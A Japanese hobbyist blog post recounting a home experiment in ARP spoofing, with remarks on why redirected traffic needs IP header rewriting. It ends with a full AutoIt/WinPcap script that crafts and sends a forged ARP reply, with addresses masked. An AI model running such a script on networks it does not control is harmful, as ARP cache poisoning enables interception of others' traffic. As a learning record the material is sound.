関係ないけどカレーが腐っていて、激マズだった
結局、ARPの偽装応答とやらを試してみたところ、一時間足らずで同一ネットワーク上の他PCのARPを書き換えるのに成功してしまった。マジかよ。こんな貧弱なセキュリティなのか、ARPってのは(まあ既に同一ネットワークに進入してるってのあるけど…)。
PC_Aから存在しないIPに対しPingを打ち、PC_BからARPの偽装応答を打ち込む。偽装内容はその存在しないIPの宛先はオレ(PC_B)だぜ!っていう、なんていうか、オレオレ詐欺みたいなもの。すると、PC_AはPC_Bがその存在しないIPアドレスを持っていると信じきってPC_BへPINGを打ってしまうワケだ。
実際にコレをやってみたところ、確かにPC_AからPC_BにPINGをそらす事に成功してはいるのだが、PINGの内容が存在しないIP宛てのままなので、こっちが反応を返さずタイムアウトしていることが判明。あーそっか…。すると有効な応答をするには、宛先をそらしてキャプチャしたパケットのIPヘッダ書き換えて、もう一回自分宛に投げて、こっちからの応答もIPヘッダ書き換えて、ってしなきゃならんのね…。うげぇ。一見すごく単純そうに見えるこの作業も、実際にパケットの中身を観察したことのある人には判るであろう、面倒くさいのである。確かにプロトコルがICMPだけならまあ、いい。問題はプロトコルによって、ヘッダのサイズが違ったり、IPヘッダだけでなくパケットデータ内にIPやMACがちりばめられてるわ、チェックサムがあったりわで、もう、それはそれは面倒なのです。きっとパフォーマンスの問題もでるんだろうしなあ…。
以下は参考まで、今回作成したサンプルのAutoItスクリプトである。ちなみに、以前書いていたARPの応答タイミングについては、いつでも、最後に応答したヤツが有効になるってのが正解。
#include <Winpcap.au3> Global $MacBC = "FFFFFFFFFFFF" ; Broadcast Global $Winpcap=_PcapSetup() If ($Winpcap=-1) Then MsgBox(16,"Pcap error !","WinPcap not found !") exit EndIf Global $Pcap_devices=_PcapGetDeviceList() If ($Pcap_devices=-1) Then MsgBox(16,"Pcap error !",_PcapGetLastError()) exit EndIf ;Select device $mydevice = _PcapStartCapture($Pcap_devices[1][0]) ; wifi (at my env.) ;---------------------------------------- ; Define fake info. ; ; Destination Info (Destination PC to be faked) $macdst="############" $ipdst="###.###.###.###" ; Source Info (Basically same to Fake Ip) $macsrc="############" $ipsrc="###.###.###.###" ; Fake info $macfake="############" ; Assigning Mac $ipfake=$ipsrc ; IP to be assigned the fake MAC (basically same to source IP) ;give packet type $typePacket="0806" ;ARP ;---------------------------------------- ;ARP reply dedicated stuff's started from here ; ;give hardware type $typeHard="0001" ; Ethernet $typeProtcol="0800" ; IP $szHard="06" ; MAC size [byte] $szProtocol="04" ;IP size (IPv4) [byte] $opcodeReq="0002" ; 0002 = reply, 0001 = request (IP) $senderMac=$macfake $senderIp=StringIpToHex($ipfake) $TargetMac=$macsrc $TargetIp=StringIpToHex($ipsrc) ;---------------------------------------- ; Compose Packet data ; ; packet base Local $mypacket = "0x" ; merge packet data. $mypacket= $mypacket& _ $macdst& _ $macsrc& _ $typePacket& _ $typeHard& _ $typeProtcol& _ $szHard& _ $szProtocol& _ $opcodeReq& _ $senderMac& _ $senderIp& _ $TargetMac& _ $TargetIp ;---------------------------------------- ; Send packet ; _PcapSendPacket($mydevice, $mypacket) ;---------------------------------------- ; Termination ; _PcapFree() ;---------------------------------------- ; Return hex formated ip string. ; eg. 192.168.1.1 -> c0a80101 ; If given string is invalid, return 0 and set error=1 ; Func StringIpToHex($string, $delimiter=".") Local $tmpArray=StringSplit($string, $delimiter, 2) If @error Then Return SetError(1, 0, 0) Local $result = "" For $tmpStr In $tmpArray $result = $result&String(Hex($tmpStr,2)) Next Return $result EndFunc